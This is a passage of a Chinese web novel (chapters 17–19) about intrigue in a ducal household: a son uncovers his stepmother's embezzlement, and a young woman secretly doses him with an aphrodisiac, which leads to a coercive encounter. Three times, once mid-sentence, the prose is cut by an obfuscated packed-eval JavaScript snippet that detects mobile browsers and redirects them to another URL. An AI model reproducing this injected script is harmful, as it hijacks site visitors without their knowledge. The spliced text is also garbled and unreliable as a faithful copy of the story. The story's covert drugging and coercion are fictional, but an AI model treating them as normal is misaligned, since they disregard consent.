陆沛行事荒唐，去年醉酒当街调戏了人妇，又搬弄家世名讳。事情闹大，人家找上门来，叫陆国公颜面扫地，关起门来把陆沛一顿好打，亏是赵小娘哭喊拦着，否是双腿要落下残疾。 每每思及此处，陆沛大腿根便隐隐发痛。此番实在是这小娘子太过貌美，这才一时把持不住。 陆沛还在回味刚才的云雨之游，屋外便响起急促的叩门声，道是赵小娘寻他。 陆沛急正了正神色，想消息应不会走漏的这么快，只是绝不能叫人看出自己又犯了老毛病，否是再也没人能保住他。 临走时，又交代身边小厮几句，那几人跟陆沛多年，处理这种事儿还是娴熟得很，甚至还能从中扣下些钱来，便乐得答应下来。 回到陆府，陆沛走的急，脚下也发软，因而面上通红，还发了一层薄汗。 “你又是去哪里顽闹，入夜了也不见得人。”赵小娘一边责备，一边递上了擦汗的帕子。 “不过是好友相聚，邀我去喝了几杯，难不成这也要说我，我是真委屈，这家里我…”陆沛越说越来劲，险些将自己唬过去。 只因陆沛自上次挨了一顿狠打以后，便老实了很久。他既如此说，赵氏怜子，倒不好再委屈了自己孩子，忙拍了拍陆沛脸颊。 “娘不是不放心，我儿乖顺，娘心里知道。” 赵氏将早备好的吃食着人端上来，续言：“半月后府中要开一场诗会，届时应有不少高门贵女，借机相看，你趁着这些日子做做学问，到时精神点，好让…” 母子一个性子，赵氏还没说完话，陆沛便急着打断了：“诗会？” “那纪婵也会去吗？” 赵氏大骇，一时竟不知他与纪婵是何时见上的面？心中顿时惊慌起来。 * 天色将破晓，珐华寺已然挥动钟杵，向山顶钟楼里的硕大铜钟撞去。 雄浑而悠长的钟声杳杳，穿透清晨薄雾，驱散凡尘杂念。 山间的青石板路，陆湛循钟声拾级而上。 他今日只带逐川一人，改穿一身青布素衣，料子质朴无华，腰间别了把佩剑，样式亦是极为普通，只是难以掩盖与身俱来的矜贵气质，总忍不住想要让人多看几眼。 正殿内，住持领着僧众正在诵经做早课。 陆湛从未来过珐华寺，既是因为他不信天命，且身上杀孽太重，在这佛门净地格格不入。 除此之外，他知晓母亲与哥哥被供奉在此处，每年除却着人捐赠香火，从不敢亲自祭拜，惟恐近乡情怯。 开春赵氏说捐了笔香火，说是重修了后山的尼姑庵，若非今日要来寺庙查清心中疑窦，他依旧不会踏入珐华寺一步。 山路崎岖，石阶湿润，陆湛勉强发力才不至于踩滑，可见此路鲜有人至。 行至过半处，庙宇飞檐才映入眼帘，陆湛脚下不曾懈怠，放眼望去，不过是寻常规制，若说精细，却也只是高梁描绘处见工匠手笔。 这一大笔钱，究竟花到哪里去了。 陆湛负手立于高门紧闭的殿前，他不信神佛，却在此刻垂首闭目，他心中隐隐有种预感，却期盼不要那样难堪。 “逐川，推门。” 尘土纷飞，旧木磨擦而生的吱呀声惊起深山鸟兽。 尘埃落定，大殿内唯有一张八仙桌，再无旁物，一切朽败的仿似隔世。 陆湛不作他言，只静静地跨过赤红的高槛。 逐川不敢抬首，更不敢应声，过了半晌，只听得陆湛飘来一句：“将那日回话的姑子，带上来。” 17. 第 17 章 门再启时，已是申时，最后一缕残阳映射在陆湛的脸上，形成如刀刻般的明暗，更显得凌厉拒人。 陆湛阖目而坐，修长的指抵在额角，缓缓按揉。 门缝中那缕折光照进来，他也只是微微皱了皱眉。 已忘了坐于此处多久，周遭太过静谧，反而将时间无限拉长。 这些年在外的权谋较量，在内的种种争斗，皆若走马灯般在脑海中闪现。 他忽地想到多年前，也是这样一个日光沉沉的傍晚。 他因贪玩未及时归家，那碗凉透了的汤，被先下学回屋的二哥误打误撞地服食了。 后来，阿娘声嘶力竭的哭喊、二哥嘴边鲜艳的血迹、与陆沣唇边近乎昭彰的微笑，都化成他每夜的梦魇，已经清醒后刻在心头一刀又一刀的苦痛。 案台上的檀香如轻影升腾，最上头的火光燃尽，半指长的灰烬折落炉中。 陆湛倏然睁开了眼。 当年兄长死状惨烈，显然是中毒所致。却不知何故，陆晋身为其父，竟就将此事掩去，未及深究。此事后娘亲日日以泪洗面，也随兄长而去。 徒留他孤身一人在国公府与诸鬼斡旋。 这些年他与陆晋勉力维持表面的父子孝道，期间无数令人作呕的委屈他尽数咽下。 便是要他陆晋以夫君、父亲之名，为他逝去的侧夫人、二郎在珐华寺供奉牌位，日日铭记此事。 思及此处，陆湛伏在案上的手紧绷了起来，手背青筋尽显。 直到逐川开口，他才将目光投过去。 “大人，这婆子压根不是后山尼姑庵的什么姑子，逮她费了些力气。不过好在有所收获，这婆子爱记账，属下从她居所抄获了好几本账簿，里头牵扯的数目倒不像从今年开始的，还请大人过目。” 逐川回话时未敢抬头，朽败的殿内，陆湛独坐正中，肃穆得令人生畏。 地上跪着的婆子双手反绑，口中被塞了手帕。 逐川依旧低着头，将账簿呈上，便主动离开，将门重新阖紧。 昏暗的室内，惟有桌面的一点烛影。 账簿便被随手搁置在桌面上，陆湛甚至没有拿起翻阅一页。 并非他不在意，而是这种腌臜事儿，每每回顾一次，无疑都是再次羞辱他已故去的母亲与兄长。 赵氏管家的这些年，他不是没有起过疑心，只是他不愿插手国公府的一应琐事。 实在是那日，她竟敢将事情闹到台面上，企图在众人面前作威，不顾他的人伦，他才疑心起这些年供奉法会的银钱是否用在了实处。 思虑间，陆湛已行至那婆子跟前。 女人还在匍匐在地上，勉强扭动地身子，呜咽着想要说些什么。 只是当她抬起头看见那双深邃而锐利的黑眸，瞬间吓得什么也说不出了。 剑光掠起，冷锐的剑锋从她的唇间刮过，女人险些以为自己此生再不能说话了。 谁成想只是嘴里的口巾落了地。 还没来得及侥幸，下一瞬，剑刃便抵上了她的脖子。 “我只给你一次说真话的机会。” 没有一句废话，只见那女人裙下已渐渐渗出一滩尿渍…… “是…是……” “说。” “是——赵小娘说三郎君从未踏入珐华寺，不会发现日常供奉及法会的蹊跷，才指使我们在其中做了些手脚……” 果真如他所料。 只是他未曾想到，赵氏大胆至此，竟敢在这件事上暗动手脚。 佩剑回鞘，陆湛面容平静，眼底凝结的寒气却愈发深冷了。 * 月色冰凉如凝霜，悄然笼罩着国公府，陆湛周遭的气息却比月色更冷。 甫一进屋，陆湛便解下腰间的佩剑重摔在桌上。力道之深震得案上烛点一颤，登时蜡油滚落，将梨花木桌面燎起一记暗印。 适才途径正院，正巧看见陆晋与赵小娘一房儿女共用晚膳，席间其乐融融。 而他站在窗外的芭蕉叶后，脑海中不断回响着今日那婆子的供词—— 赵氏将母兄牌位前的上等贡果以次充好，法会找了小沙弥冒充大法师，就连法会上烧送的经卷亦是能少则少，这些年桩桩件件小事积攒下来，从中陆续贪利不少，都充作了她赵氏的体己银子。 陆湛心中愤懑难平，若非逐川拦下，他几乎当时便想提剑踏入，让赵氏血溅当场，正好由她的一双儿女为她收尸。 窗外，风声呼啸，偶尔裹挟着远处的几声犬吠。 陆湛回到房中，心中越发觉得烦闷，于是取下腰侧香罐，取出一枚香片含在舌下。 往日每觉烦闷困顿时，他都会以此香片凝神，只是今日许是愤怒太过，连着含了三四片，仍觉得心头浮躁难去。 陆湛踱步至床边，云头靴碾过地面，发出沉闷的声响。未及坐下，目光扫见桌上摆放着几道羹汤，这本是下人们的一番心意，却莫名挑起他心中无名□□。 陆湛骤然抬手，将桌上碟碗尽数拂落在地。 宋蝉刚到门外，便听见了屋内瓷片碎落一地的泠泠声。 上次她放手一搏，将春心动的香引暗藏在蔻甲内，借机抹入陆湛腰间香罐的盖子边沿。 春心动一香有别于别的催.情香，非但无色无味，而且需要香引与主香融合才能发挥其效。 香引被藏在了陆湛的那枚香罐里，主香则掌握在宋蝉手中。 如此一来，日常陆湛含用香片，并不会察觉到任何异样。 只有宋蝉用了主香后，再去与陆湛见面，才会发挥其效。 而今夜静夜风清，正适宜挑引春心。 宋蝉特地将主香融进了沐发膏子里，细细浸泡了快半个时辰，才特地来找陆湛。 因是第一次尝试，宋蝉怕拿捏不好用量，此次只是用了一点主香，并为贪多。 此行来找陆湛，只是想测验春心引的成效，并非是想真要与他发生什么。 怕引起别人注意，她特地等到众人睡下，夜深人静时，才换上府内丫鬟的衣裳悄悄前来。 只是没想到刚到陆湛屋外，就听见里头传来这般动静。 想是陆湛近日办案不顺，亦或是叫敌党挑出了错处，心中正郁火难解吧。 宋蝉忽觉今夜来的不是时候，本想转身离开，却不慎踢到门前地上的一盏杜鹃。 圆口瓷制花瓶底部在地上划出一道吱呀声响，在这寂静的浓夜尤显清晰。 屋内很快便响起陆湛沉沉的质问声。 “谁？” 宋蝉攥紧了袖底底帕子，轻叹口气，将心一横。 罢了。 总归来都来了，又是大晚上的，陆湛再过份，料想也不至于将官场受的火气牵连到自己身上。 “大人，是我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809793|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 片刻沉寂，房门向内拉开。 门后显现出陆湛那张棱角锋锐的脸。 他微皱着眉头，眼里添了些许不耐，反倒将他身上清冷矜贵之气衬得愈发浓烈。 “不是同你说过，不要轻易来我这里吗？” 每次她来找陆湛，他都要端着一副架子，真是好生无趣。 若换做以前，遇上这样的人，她转身便走了。 只她一直记着，当时陆湛说她的性子刚烈，不适宜为他所用。 她早想明白了，眼下既还要在他手底讨生存，又何必事事与他对着来？ 于是这些日子以来，她刻意拿捏，将语调放软，性子放柔。 “诗会在即，我还是有些紧张，上次又还没和大人讨论出什么结果……” 想到那晚的情形，陆湛感到手背又泛起一阵旖旎的暖意。 陆湛神色僵了僵，默道：“进来吧。” 待房门关紧，陆湛坐在桌前，一抬眼才看清宋蝉今日的穿着。 竟穿得同府内丫鬟无二。 偏偏本来素净质朴不过的衣服，穿在她身上，不知怎得都变成了起伏有致的连绵，平白好似变成了另一种刻意的情致。 陆湛垂下眸，幽深的眸底似有暗流涌动。 “怎么穿成这样？” 宋蝉只如实道：“怕叫旁人看见我深夜来大人屋里，对名声不好，特地与紫芙换了衣裳。” 陆湛没说话。 宋蝉想要走上前几步，却觉鞋底有些黏滑。顺着向下的目光，落在满地碎片及羹汤上，一时有些心疼起平白被浪费的粮食。 嘴上却说：“大人怎么生这好大的气？可是遇上了什么烦心事？” 见陆湛不回答，宋蝉便知恐怕这其中缘故是她听不得的，便也乖觉地不再多问。 她缓步走近陆湛身旁，轻声道：“您日夜办案，本就费心神。先前我学过些按摩指法，虽不算精湛，却也能为大人略解疲乏，大人可愿意试试？” 她这一番话说得谦卑婉转，陆湛很是受用。 如今宋蝉的脾性逐渐收敛，正渐渐变成陆湛想要她变成的样子。 陆湛颇为满意。 她早该有此觉悟，不过是一枚棋子，一切都该听执棋者安排，不该有任何的心思情绪。 不过现在明白也不算晚，总归他当时的抉择了然，宋蝉果然还是个一点即通的聪明人。 “好。” 宋蝉走到陆湛身后，将袖子挽起半截，露出如凝霜雪的皓腕。 纤指轻轻抚上他的鬓边，以指腹缓缓画圈，缓柔慢捏，所触之处，陆湛沉积的头痛之症竟果然渐渐缓解。 只是……她垂下头时，总有几缕发丝无意间拂过陆湛的眉眼，便如梅峰上吹过的清风，带来几丝隐隐暗香。 习武之人，向来节制欲念，不近女色，陆湛未曾对哪个女人有过特别的反应，宋蝉也不外如是。 可今夜不知为何，当那几缕发丝拂蹭时，忽而带来一阵酥麻奇异的感受。 陆湛眼前竟逐渐浮现出一道旖旎婉转的身影，如同山谷间起舞的精魅，引诱世人起心动念。 他极力克制着这股莫名的冲动，手指不自觉扣住扶手，试图让自己镇定下来。 可身体的反应却愈发不受控制。 他倏然抬手紧握住那截堪可折断的手腕，猛地将她拉入怀中。 18. 第 18 章 显然，宋蝉完全没有料到陆湛会如此动作，整个人脚下一软，彻底落进他的怀中。 即便隔着一层衣物，她依旧能感受到他腿部的肌肉瞬间紧绷，愈发坚硬如铁。 她便如触碰到一块刚滚烫的热炭般，双手慌乱撑在陆湛的肩头，立刻就想要支撑着站起来。 但停落在腰间的那只大手却紧紧地贴合着她的裙衣，另一只手则抚摸着她的面颊。 “你今夜用的是什么香？” 宋蝉眸光闪烁了一瞬，不免有些慌乱。 难道是他察觉到了什么？ “我没有用香，许是刚沐浴完，发膏的香味还没散……” 话还未说完，便被陆湛越发幽深的目光骇得吞回腹中。 从前，陆湛永远是那副波澜不惊的模样。 他的眼睛锐利、沉冷、无情，像投入巨石都不会见波澜的幽深海底。 而如今，那张沉静的双眼，竟渐渐染上了些不同的温度。 对于她的回答，陆湛似乎不在意，只是低低的嗯了一声，望向宋蝉的眼神愈发深暗。 许是今夜夜色太沉，窗外太静，又或许是近日令人烦闷的事情太多，积攒到这一刻，所有的情绪亟待爆发，他有意让自己沉沦于放纵，消解近日心中的郁结。 烛火融融，陆湛的目光横渡过宋蝉沾染惊慌的双眼，秀挺的琼鼻，最终落在那莹润的双唇上。 她似乎并未涂抹口脂，双唇却透出娇嫩柔丽的色泽，像是接近一朵花中间最嫣嫩的蕊瓣，令人想要采摘、捏揉、碾碎。 他也真的这样做了。 指腹上的薄茧缓慢地抚着她的唇，撩开不慎黏腻其中的一缕濡湿墨发。 他看着她逐渐沾染潮红的颈肤，声音喑哑：“之前的那个小书生，亲过你吗？” 宋蝉被困在他臂弯中，动弹不得。 但听见他提及吕蔚，似有感应预兆般，想要逃避。 只是未等她彻底反应，感到颈后一凉，陆湛微凉的唇压了下来。 “大人……” 果真是武将，就连亲吻也没有一丝温柔的垂怜，而是极尽掠夺，几乎要将她吞噬。 到了最后，她连话说不出了，只剩几声孱弱的呜咽。 宋蝉有些恼了，怎么也推不开他有力的臂弯，只能报复似地咬在他的唇上。 渐渐有一丝血腥气蔓延在齿间。 可越是如此，陆湛眼底的神色愈烈。似是狂风席卷，催生了原本只是微弱的火苗，逐渐疯狂燃烧，渐有燎原之势。 他忽然起身将宋蝉打横抱起，反身压在桌上，行举间长袖拂风，吹灭了案上的烛台。 夜风轻拂窗纱，牵引起微微作响的鼓动，檐下一支玉兰亦被吹动，枝梢扭动宛若细腰。 似是察觉到濒临狂风骤雨将来袭，宋蝉提高了声量。 “大人！” 她的声音带颤，是真的怕了。挣扎之间，蔻甲在陆湛的手臂上留下两道血痕。 “大人，你别这样……” 手背上忽然传来的刺痛，冰凉侵袭，让陆湛的思绪逐渐清明，缓缓松开了手。 看着宋蝉几乎落荒而逃的背影，陆湛敛了眸，目光落在地面上那抹藕红色的布料。 她走得太急，竟忘记穿好内里的小衣。 * 宋蝉从未有过这般狼狈的时刻。 一路边跑边系衣，还要在浓重的夜色中避开府内巡逻的守卫，如此原本不到半刻钟的脚程，生生耽误许久才到。 甫一回屋她便将自己关在了屋内。 烛影掠过铜镜中她的面容，秀长的玉颈上落满了深深浅浅的痕迹。 这下真不知明日该如何见人了。 她甚至不敢回想刚才发生了什么，只觉得面红滚烫，似被架在火上烤。 红肿的双唇仍然酥酥麻麻，唇角甚至还沾染着淡淡的血痕，一切无不在昭示着陆湛的印记。 看来春心引果真有效，连陆湛那样一向自持冷静的人，也有了不同往日的反应。 她本应当开心才是。 毕竟这样，她至少也有了掌控陆湛的一条路。 可真到了今夜彼此贴近的时刻，宋蝉心底忽生出一丝惧意。 不应该如此的！ 春心引虽能引人情动，但她初次调配，心中有数，都是按照最小的量尝试的。 甚至在给陆湛用香之前，她还亲自尝试过一次…… 原本不该是这般激烈的效果，可不知为何，陆湛今夜的反应似乎格外明显。 第二日晨起，宋蝉对着镜子，看着尤未褪去红肿的双唇以及颈上的红痕，一时犯了难。 紫芙年纪长些，即使宋蝉没说，她也多少明白昨夜发生了什么。 “娘子若觉得不方便，不如今日向夫子告个假吧。” 宋蝉点了点头，但又想起上次陆芙同她说过，郑夫子一向最讨厌学生迟到告假，除非事不得已，否则还是不要轻易缺席他的课堂。 无奈之下，宋蝉只能覆了面纱，向学堂去了。 刚到学堂，陆家的几个小姐妹便围了上来，纷纷询问宋蝉今日何故戴了面纱。 宋蝉被问得耳尖滚烫，只说是吃坏了东西。陆泠尤不放过，还要继续追问，好在门外忽然传来一阵动静，将众人的目光吸引过去。 一名穿着鹅黄罗裙的小娘子踩着莲步走进来，行动间裙摆飘逸，皮肤白皙如玉，眉目虽不绝艳，但也算清秀。 她抱着书匣，缓步走进来，仪态优雅地将怀中的书匣放在宋蝉身旁的空桌上。 “她怎么也来了。”陆泠把眼一横，不由得压低了声音，偏过头去。 宋蝉正想问问她的来历，就见那小娘子向她们走来。 “蘅姐姐，泠表姐，许久未见了。听姨娘的意思，往后我们就要一同读书了，还请两位姐姐多多关照。” 她向着陆蘅与陆泠一礼，却很自然将陆芙与宋蝉掠了过去。 陆蘅微微颔首一笑，在礼数上从来没人能挑出她的错处：“刘妹妹。” 陆泠却低下头写起字来，只装作没听见的模样。 这位刘姑娘却也不恼，只是识趣地退回位子上坐下。 想起刚才她见面时称谓的“蘅姐姐、泠表姐”，宋蝉敏锐地捕捉到了她话中的差别。 既单独叫了陆泠表姐，想是这名姑娘是赵小娘家的人了？既有亲缘，理应更亲近些，只是陆泠却好似不太待见她，这就不知道是何缘故了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14812460|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 下学后，宋蝉还未誊抄完札记，陆泠便赶紧起身，拉起她的手就往外走，好似就怕被那刘姑娘追上似的。 宋蝉原想同另外几位姐妹打个招呼，也只能远远作礼别了。 陆泠也并非是同宋蝉有多亲热，只因得亲疏她分得很清，到底宋蝉算是大半个陆府的人，外头的贵女即便再好说话，陆泠看着不免有几分攀比心和疏离。 而那“小表妹”刘氏，她一向不大喜欢她的性子，更不知为何母亲要将她带进府中，此刻只恨不得离得越远越好，免得叫旁人以为她与那人有多熟络呢。 倒是宋蝉，人好说话的紧，陆泠生怕一个看不住，她就跑去跟人做密友去了，宋蝉就算不做她的闺中挚友，这便宜也不能让旁人捡了去。 “咱们等改日天再好些，约着隔壁孙家的二小姐去打马球去，那人叫个厉害，挥杆甚至比男人家还有劲儿，你真该见识见识！” 陆泠说的有板有眼，却只字不提那名刘姑娘。 宋蝉也不好再问什么，又被陆泠说得有些心惊。 她先前只看过人家打马球，只记得那骏马扬蹄就让她骇得退后半步，这要是真上马了，可不要吓得缰绳都抓不牢靠？ 宋蝉试探问道：“嗐……竟比男人还要强些吗？” 未及陆泠回话，身后传来清朗的笑问。 “你们说什么呢，走这样急！” 是陆沛，宋蝉下意识的侧过脸去。 瞧着自己不成器的弟弟快步跑过来，陆泠毫不留情面地回怼：“你又跟上来做什么？赶紧回去写的课业去，省得你写不完，急得又要嘴角长大泡，看得人直犯恶心。” “姐姐说什么话呢，我今日朗诵多遍，心中娴熟，想来下笔自有神助。再者说，我那泡是青年气盛，姐姐莫要在婵妹妹面前瞎说，败坏他人名声。” 陆沛忿忿不平，不想在宋蝉面前失了面子，不得已文绉绉地编起胡话来。 宋蝉最是知道陆沛为人品性，只想着回避，便压身欲离。 “若是四哥哥同姐姐有事商量，那妹妹先回去了。” “婵妹妹等等，等等！”陆沛先一步喊住宋蝉。 宋蝉不得已又站住了。 陆沛冲陆泠使了使眼色，说道：“那个，那个，你不是说要去吃长乐街的烧鹅吗，我前几天就约好了，你忘了吗？” “我何时说过？” 陆泠一时有些摸不着头脑，但又因着自己素日好美食，也吃不准自己到底说没说过，因而说话也没甚底气。 “你每日说话那么多，肯定又是忘了，今日婵妹妹在，何不同去呢！” 长乐街的烧鹅的确是美味，若是陆沛请客倒也未尝不可。 只陆泠正要回答，抬起眼忽看到了一道熟悉的身影。 “哎？三哥哥。” 陆沛正对着两位姐妹说话，浑然不知身后的事，只当陆泠是在唬他。 “你只说去不去便是了，少拿三哥吓我，他此时候该还在千鹰司办案呢，怎么会出现在这里？” 宋蝉听见陆湛的名字，心头不禁一惊。 她半信半疑地循声抬头望去。 竹影回廊后，陆湛果真正与一名男子并肩向他们走来。 19. 第 19 章 微风习习，竹影婆娑。 陆沛与陆泠的声音还萦绕在耳边，宋蝉双脚像是被钉住了一般，片刻后才如梦初醒，下意识地想要转身逃离。 却被陆泠挽住了胳膊。 “瞧见了吗？三哥哥旁边那位便是京里有名的薛公子。” 陆泠又不免点评几句：“其实要我说，三哥哥的容貌气质都较薛公子更胜一筹，不过是他性子太过疏离，整日冷着一张脸，京中的贵小姐哪里还敢亲近。” 这并非是虚言。 宋蝉抬起眼便看见两名郎君走在一起，身姿高俊，行举极尽优雅，行动间衫袍翻涌似云浪，活像画里走出来的人物。 若是在街上见到这样俊朗的陌生男子，宋蝉也会忍不住驻足想要多看两眼。 可偏偏那人她不仅相识，昨夜甚至还刚与他共处一室，肌肤相亲，舌齿交融。 那些令人面红耳赤的荒唐事瞬间如潮水般涌上心头，宋蝉甚至感到唇瓣微微颤抖，泛起一阵酥麻之感。 此刻再想走，已经晚了。 两名郎君已从回廊尽头走来，站在他们面前停下脚步。 宋蝉下意识地垂了眼，又不自觉将领口紧了紧。 只是即便她没有抬头，也能感受到头顶陆湛的目光。 就像盛暑刺目的太阳，避之不及，她只能赤裸裸地接受煎熬的炙烤。 “泠妹，沛弟。”薛公子的声音如他外形一般，柔和若春日柳枝拂过的湖面。 陆沛听见这声音，才猛然转过身来，终于明白了陆泠并未诓他。 他从小不怕爹爹，不怕大哥，唯独最怕这名三哥陆湛。 小时候他顽皮，见陆湛站在水边，想要吓唬着推他一把，瞧瞧这位素日冷峻的三哥难得窘迫的模样。 哪成想陆湛就像背后也有眼睛一般，提前预料了他的行动，待他悄然接近，正准备向前施力时，陆湛却突然向侧一躲，害得他没收住力掉进了水里。 本以为是兄弟间的玩闹，谁成想陆湛竟真的站在岸旁冷眼旁观，直到最后看他将要咽气，才叫了人将他救上来。 他那道如凝霜雪的目光，陆沛这辈子都忘不掉，从那之后，他见着陆湛能躲则躲，绝不敢多说一句。 陆沛一时不免声音颤颤：“三…三哥，薛兄……” 陆湛疏冷的眉眼扫过陆沛，陆沛只觉像是有把刀子贴着他的脊背上滑一般，浑身发寒的熟悉感觉又蔓延开来。 他唯恐被陆湛看透他那些旖旎心思，当即兴致缺缺，再也没了对新妹妹插科打诨的心思。 “忽然想起阿娘还叫我下学后去找她一趟，弟弟先行一步了！” 陆沛不敢抬起头与陆湛对视，怂着眉一溜烟跑走了，甚至都来不及再与宋蝉好好作别。 “你这四弟还是同以前一样有趣。”薛行简不由得笑了。 “薛大哥好久没来府里玩了，可是忙着应付西城吴小娘子的事情呢？” 陆泠素来胆子大，虽也有些畏惧陆湛气势，但对着薛行简这般好颜色的大哥哥，总是格外觉着亲切，想与他多说几句。 听陆泠此言，薛行简神色一滞，抬袖轻轻掩住口，清了清嗓子，面色瞬间染上几分无奈。 那西城的吴小娘子，确实与他有着一段令人头疼的痴缠故事。 还记得那日，城中最热闹的戏园子开演新戏，他闲来无事便去凑个热闹，吴小娘子恰好在邻座。 他不过是出于礼貌，对戏中的情节发表了些见解，与吴小娘子攀谈了几句。 可谁能想到，就因着这么几句，吴小娘子生生记挂了好久，回到家中又哭又闹，说什么非他不嫁，弄得满城皆知，连他都被父亲责骂了一顿，着实让他头疼不已。 “泠妹妹这张嘴，还是不饶人，专挑痛处说。” 薛行简轻描淡写地一句，预备应付过去，正巧看见陆泠身旁那位女郎瞧着面生。 虽戴着面罩，但可见身姿袅娉，一双剪水眸盈盈似诉，长睫微颤，十分惹人怜爱。 “这位妹妹是？” 陆泠抢先答了：“这是刚来府中的纪妹妹。” 薛行简心下了然，不再多说。 只是看着她脸上的面纱，还是还不住问道：“纪妹妹可是身子不适？这里是风口，咱们可去一旁避避，别叫风再吹着。” 宋蝉本就觉得与陆湛再见浑身不自在，如今被薛公子这么一问，更是羞得无地自容。 又看见一片竹叶落下，恰与陆湛绣着云纹的裳角交缠，顿时昨夜又想起他是怎样将她牢牢箍在桌上，又是怎样在她齿间搅弄掠夺。 面纱下双颊滚烫，热得快要烧起来了。 “行简。”陆湛沉声开口打断。 薛行简颇有些诧异地向陆湛看了一眼。 要知道，陆湛从前可从不会在意女郎们的事情，今日这又是怎么了？ * 家塾一别后，陆湛连着几日都宿在千鹰司中。 这夜薛行简携酒来见，坐下便为二人各斟酒一杯，开门见山地问。 “那日在你家见到的纪妹妹，就是当初那个宋蝉吧？” 当时沈知培一案连带宋蝉的事，薛行简多有助力。 陆湛并未直面回答，薛行简权当他默认了。 他与陆湛相识于年少，一路相伴长大。无论是陆湛家中难以向外人道的私隐，还是后来官场上许多不能见光的事情，他都自信能够了然于胸。 可是这些日子，他总觉得有些看不明白陆湛了。 或是说，陆湛也有了不能为他所知的秘密。 陆湛杯中的秋露白已饮尽了，薛行简又替他倒上一杯。 该借几分酒醉，才能说出真话吧。 “你这连着几天不回去住，也与她有关？” “没有。” 陆湛否认得很快。 修长的手指扣在杯沿，轻轻摩挲了几下。 “不过是近日府里人多口杂，我想出来避个清净，与她有何干系？” 薛行简轻声笑了。 “你多年来从不爱饮酒，为何近日又要我陪你饮？” 陆湛的眸色晦暗不明，不知是否染上了酒意，颈侧竟也微微泛红起来。 他沉默不语，只是握紧酒杯，又一饮而尽。 这些日子他不愿回去，也是不想再故地重温那夜的失态。 他始终想不明白，他一向克制，究竟为何会对宋蝉泛起那种冲动。 思虑不得，便干脆不再思虑。 薛行简观察着陆湛的神色，心中只觉有趣。 哪怕那些年被陆国公逼到最狠的时候，陆湛也不曾有过这般状态。一向沉如死水的古潭，竟也有了波澜？ 薛行简支腮半倚桌台，借着烛光，忽来了一句。 “沧鸣，你养狸奴了？” 陆湛眼神一怔，顺着薛行简的目光看向自己搭在桌面上的手背。 望着手背上那两道刚起了新痂的抓痕，陆湛了然了。 不禁自嘲似地冷笑了一声：“不过是个不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14819415|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听话的狸奴罢了。” * 国公府赵小娘屋中，侍女端上小厨房刚做好的点心，一一摆放桌上后，陆续退下。 赵小娘与外甥女赵婉坐在桌前，为她夹了一块玉芙糕。 “你可知道我为什么要让你来国公府？” 赵婉轻声道谢，听了赵小娘的话，耳尖微微泛红：“在家中阿娘跟我提到过一些，也叮嘱了我，来国公府后一切要听姨妈的安排。” 赵婉也到了议婚论嫁的年龄。 论家世，她并无显赫门第可倚仗；谈容貌，亦是中人之姿，难称惊艳。 阿娘跟她说过，这次让她来，便是要她接近国公府的三郎君，成为他的枕边人。 虽以她的身世做不得正妻，但能做个贵妾也是不错的归宿。 更何况姨母不也是妾室吗？但依靠自身的聪慧与手段，在国公府逐渐站稳脚跟，家的一众亲眷，皆仰仗着她在国公府的颜面在外行走。因而无论是族中大事小情，如今无一不是以赵小娘的意见为准，对她唯命是从，仿若众星捧月一般。 赵婉从小听着赵小娘的故事长大，对这位靠自己努力改变命运的姨母颇为敬佩，也同样一颗想要向上爬的野心。 看着赵婉乖巧听话的模样，赵小娘满意地点了点头，总算也不枉她这般谋划，将赵婉从大老远的地方接来京城。 原先她也有过忌惮犹豫的，毕竟她那个儿子的性格她最是了解，别说是什么沾了亲缘的表姐表妹，只要容貌尚可的适龄丫头，他免不了要动些心思。 若不是那陆湛的性子愈发张狂，如今当着众人的面都开始下她的面子，她也不会想到行这一险招。 陆沛素日只爱玩乐，没有一点旁的心眼，她作为母亲，却不能不提前筹划。 陆国公年岁渐老了，还能有几年活头呢？还是要趁着他尚清醒，在她也尚能吹吹枕边风的时候，催着尽早将世子之位定下来。 这些日子她思来想去，觉得应当先从陆湛下手。这些年陆湛与陆晋关系渐为疏远，想来若找个成家的名头将陆湛早早打发出去，也不是什么难事。 赵小娘拢了拢神思，又道：“你素来乖巧，我一向喜欢你的性子，因此放着家里那么多后辈没挑，独选了你过来。” “这几日可见到你三表哥了？” 赵婉摇了摇头：“三表哥不在书塾念书，平日没什么见面的机会。这几日表哥又都宿在千鹰司，没回府来住，更见不到了。” “哦？竟是如此？”赵小娘放下筷子，“也不妨事，左右过几日就是诗会了，到时候就能见上。” 赵婉微微皱眉，面露担忧之色：“姨妈吩咐的事情我都记下了，只是听说三表哥性格阴晴不定，平日里从不亲近女色。我年纪小，又没什么经验，姨妈精心安排的法子，当真行得通吗？” 果然还是年轻，不明白男人的性子。这世上但凡是个正常的男人，面对主动送上的美色，哪有真能把持住的呢？ 